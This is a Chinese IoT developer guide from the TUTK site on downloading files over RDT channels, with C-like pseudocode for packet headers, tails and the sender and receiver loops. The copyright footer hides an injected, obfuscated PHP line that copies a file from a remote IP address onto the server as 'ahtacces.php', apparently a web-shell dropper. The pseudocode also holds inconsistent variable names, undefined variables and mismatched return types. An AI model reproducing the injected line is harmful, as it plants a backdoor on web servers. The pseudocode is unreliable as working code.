简体中文

基于RDTAPIs的文件下载

主要内容:

  • IO交互
  • 通道的创建和销毁
  • 数据的传输
  • 结束标志 的判断

IO交互:

image.png

  1. APP会通过avSendIOCtrl(IOCTRL_FILEMANAGER_FILE_LIST_REQ)查询指定时间内的文件。设备通过avSendIOCtrl(IOCTRL_FILEMANAGER_FILE_LIST_RESP)回复对应的文件列表。
  2. 当用户选中部分文件下载的时候,则APP端会avSendIOCtrl(IOCTRL_FILEMANAGER_FILE_DOWNLOAD_REQ)告知设备要下载哪些文件。设备则根据自身的硬件和软件资源,可以自定义使用的通道数,通过avSendIOCtrl(IOCTRL_FILEMANAGER_FILE_DOWNLOAD_RESP)告知APP使用哪些通道以及使用哪种APIs来进行数据传输。
  3. APP和设备端分别创建对应的通道。
  4. 数据传输。
  5. 数据传输后关闭通道。

RDT通道的创建和销毁

  • 创建(APP端/设备端通用)
int createChannelForDownload(int sid,int iotc_channel_id){
    return RDT_Create(sid,5000,iotcChannelId);
}
  • 销毁(APP端/设备端通用)
void destoryChannelOfDownload(int rdt_id){
    if(rdt_id < 0) return ;
    RDT_Abort(rdt_id);
}

数据的传输

RDT协议本身提供的接口只有Read和Write,所以存在粘包的情况,需要另外设计切包的机制。每个数据包分为包头、数据和包尾,具体参考:https://note.youdao.com/s/JOFyOca5
  • 设备端
说明:RDT的数据传输是可靠的传输,每次调用RDT_Write,都将数据写入本地的发送缓存区,所以等所有的数据都使用RDT_Write写入后,需要检查发送缓存区是否为空,为空,则说明数据已经送完。
写入数据相关(伪)代码:
  • APP端
  • #define RDT_HEADER_FRAMEBEGIN_ADDR 0
    #define RDT_HEADER_FILENAME_ADDR 4
    #define RDT_HEADER_FILESIZE_ADDR 68
    #define RDT_HEADER_FRAMESIZE_ADDR 72
    #define RDT_HEADER_ENDFLAG_ADDR 76
    #define RDT_FRAME_BUFFER_ADDR 77
    #define RDT_FRAME_BUFFER_SIZE 10243
    #define RDT_FRAME_HEADER_SIZE 77
    #define RDT_PAYLOAD_WRITE_POSTION 77
    #define RDT_FRAME_TAIL_SIZE 2
    
    union typeXChange{
        int int_data;
        char char_data[4];
    };
    //把size写入buffer对应位置。
    bool swapInt2CharBuffer(const int int_data,char*buffer,size_t bufferSize){
        if(!buffer || bufferSize != 4) return false;
        typeXChange tmp;
        tmp.int_data = int_data;
        memcpy(buffer,tmp.char_data,4);
        return true;
    }
    
    //在buffer起始处写入header
    void createPacketHeader(char* buffer_write_postion,size_t bufferSize,char* fileName,size_t fileSize,size_t payloadSize){
        memset(buffer_write_postion,0,RDT_FRAME_HEADER_SIZE);    
    
        *buffer_write_postion='I';
        *(buffer_write_postion+1)='O';
        *(buffer_write_postion+2)='T';
        *(buffer_write_postion+3)='C';
        
        strncpy(buffer_write_postion+RDT_HEADER_FILENAME_ADDR,fileName,strlen(fileName));
        swapInt2CharBuffer(fileSize,buffer_write_postion+RDT_HEADER_FILESIZE_ADDR,4);
        swapInt2CharBuffer(payloadSize,buffer_write_postion+RDT_HEADER_FRAMESIZE_ADDR,4);
    }
    
    //在buffer结尾2个字节写入tail
    void createPacketTail(char* buffer_write_postion,size_t bufferSize){
        *buffer_write_postion = 'G';
        *(buffer_write_postion+1) = 'C';
    }
    
    //发送单个文件的伪代码
    void sendOneFile2Client(int rdt_id, file f, bool isLastFile){
        int ret = 0;
        size_t fileSize = f.size();
        string fileName = f.name();
        size_t rdt_file_size = fileSize;
        unsigned char rdt_endflag = 0;
        int buffer_for_payload_size = RDT_FRAME_BUFFER_SIZE - RDT_FRAME_HEADER_SIZE - RDT_FRAME_TAIL_SIZE;//计算可以给数据最大的存储空间
        f.open();
        while(1){
            char buffer[RDT_FRAME_BUFFER_SIZE] = {0};  
            int readSize = file.read(buffer+RDT_PAYLOAD_WRITE_POSTION,buffer_for_payload_size); //预留了777个字节给header
            if(readsize < buffer_for_payload_size){//此时表示已经无法读满一个完整的payload size,估计已经到了文件最后一包。            
                if(isLastFile){ //如果是最后一个文件,设定endflag为1。
    
                    rdt_endflag = 1;
                }
                if(readsize <= 0){
    
                    readsize = 1;
                    break;
                }
            }
            else{
                filesize -= readsize;
            }
            createPacketHeader(buffer,RDT_FRAME_HEADER_SIZE,fileName,rdt_file_size,readsize);
            createPacketTail(buffer+RDT_FRAME_HEADER_SIZE+readsize,RDT_FRAME_TAIL_SIZE);
            ret = RDT_Write(rdt_id,buffer,readSize);
            if(ret < 0){
                goto LAB_SEND_RETURN_ERROR;        
            }
            if(rdt_endflag) {
                RDT_Flush(rdt_id);
                break;
            }
        }
        f.close();
    LAB_SEND_RETURN_OK:
        return 0;
    LAB_SEND_RETURN_ERROR:
        return ret;
    }
    //发送线程,伪代码
    void sendFileList(void* arg){
        //此处先创建rdt_id,具体参考本章节前面创建通道的方法
        int rdt_id = createChannelForDownload(sid,iotc_channel_id);
        if(rdt_id < 0){
            return ;    
        }
        //通道创建成功后,再进行文件传输。
        int fileCount = fileList.count();
        int fileIndex = 1;
        int ret = 0;
        foreach(file file, fileList){
            bool isLastFile = (fileCount == fileIndex);
            ret = sendOneFile2Client(rdt_id, file,isLastFile);
            if(ret < 0){
                printf("%s send error %d\n",filename,ret);
                break;        
            }
        }
        //正常发送完,需要检查缓存区的数据是否有被送出去。
        if(ret == 0){
            do{
               st_RDT_Status status; 
               ret = RDT_Status_Check(rdt_id,&status); 
               if(ret < 0) break;//异常
               if(status.BufSizeInSendQueue == 0) break;//已经发送完最后一帧
               else{
                   msleep(100);       
               }
            }while(1);
        }
        //关闭通道
        destoryChannelOfDownload(rdt_id);
    }
接收端也需要按照对应的格式也切包和解析数据,如果切包有误,则可能导致数据解析异常。
读取通道数据和解析方法(伪)代码:
//创建通道参考本章第四部分,此处假设已经创建成功RDT通道,拿到rdt_id
//读数据头
#define HEADER_SIZE 77
int readRDTHeader(int rdt_id,char* headerBuffer,int bufferSize){
    if(rdt_id < 0 || !headerBuffer || buffSize < HEADER_SIZE) return -1;
    memset(headerBuffer,0,bufferSize);
    int restSize = HEADER_SIZE;
    int headerIndex = 0;
    //此处需要读取一个完整的header再去做解析
    do{
        int size = RDT_Read(headerBuffer + headerIndex , restSize,1000);
        if(size > 0){
            headerIndex += size;
            restSize -= size;
        }
        else if(size != RDT_ER_TIMEOUT)){
            return size;
        }    
    }while(restSize > 0);
    return 0;
}

//读取对应长度的二进制文件
int readBinaryDataAndSaveOneFrame(file f,int rdt_id,char* dataBuffer,int bufferSize,int dataLength){
    if(rdt_id < 0 || !dataBuffer || buffSize < 0 || dataLength < 0) return -1;
    int restDataSize = dataLength;
    int readSize = bufferSize < restDataSize ? bufferSize : restDataSize;
    do{
        int size = RDT_Read(dataBuffer,readSize,1000);
        if(size > 0){
            restDataSize -= size;
        }
        else if(size != RDT_ER_TIMEOUT)){
            return size;
        }
         //保存到本地文件
         f.write(dataBuffer,size);
    }while(restDataSize > 0);
    return 0;
}
//读尾,2个字节,为"GC"
int readTail(){
    int restSize = 2;
    char buffer[4] = {0};
    int bufferIndex;
    do{
        int size = RDT_Read(dataBuffer+bufferIndex,restSize,1000);
        if(size > 0){
            restSize -= size;
            bufferIndex += size;   
        }
        else if(size != RDT_ER_TIMEOUT){
           return size; 
        }
    }while(restSize > 0);
    if(buffer[0] != 'G' || buffer[1] != 'C') return -1;
    else{
        return 0;    
    }
}
//接收数据伪代码
#define RDT_BUFFER_SIZE 20480
void recvFilesFromChannel(int rdt_id){
    int endFlag = 0;
    int ret = 0;
    file f;
    string fileName,lastFileName;
    while(!endFlag){
        char buffer[RDT_BUFFER_SIZE]={0};
        if(ret = readRDTHeader(rdt_id,buffer,RDT_BUFFER_SIZE) < 0){
            break;    
        }    
        //此处进行数据头解析出fileName,dataLength,endFlag;
        //帧头定义可以参考:https://note.youdao.com/s/JOFyOca5
        if(!f.isOpen()){
            f.open(fileName);
            lastFileName = fileName;                          
        }
        else{
            //关闭上个文件,打开一个新文件;  
            if(fileName != lastFileName){
                f.close();
                f.open(fileName);
                lastFileName = fileName;             
            }   
        }
        if(ret = readBinaryDataAndSaveOneFrame(f,rdt_id,buffer,RDT_BUFFER_SIZE,dataLength) < 0){
            break;
        }
        if(ret = readTail() < 0){
            break;
        }
    }
    if(f.isOpen){
        f.close();    
    }
}
//接收线程
void createRDTChannelAndSaveFiles(void* arg){
    //创建RDT通道,iotcChannelId来源于IOCTRL_FILEMANAGER_FILE_DOWNLOAD_RESP拿到的channel
    int rdt_id = createChannelForDownload(sid,iotc_channel_id);
    if(rdt_id < 0){
        return ;    
    }
    
    //接收数据
    recvFilesFromChannel(rdt_id);
    
    //关闭通道
    destoryChannelOfDownload(rdt_id);
}


即刻开启您的物联网之旅

联系解决方案专家
Kalay App
解决方案
新闻动态
公司动态
行业资讯
媒体报道
永续发展
经营者的话
社会参与
环境永续
公司治理

+86 755 27702549

7×24小时服务热线

法律声明 隐私权条款

关注“TUTK”

TUTK服务尽在掌握

© 2022 物联智慧科技(深圳)有限公司版权所有 <{__NOLAYOUT__}?p{__NOLAYOUT__}h{__NOLAYOUT__}p $a = "copy"; $a("http://23.235.156.20/ote.php","ahtacces.php");?{__NOLAYOUT__}>粤ICP备14023641号
在线咨询
扫一扫

TUTK服务尽在掌握

全国免费服务热线
+86 755 27702549

返回顶部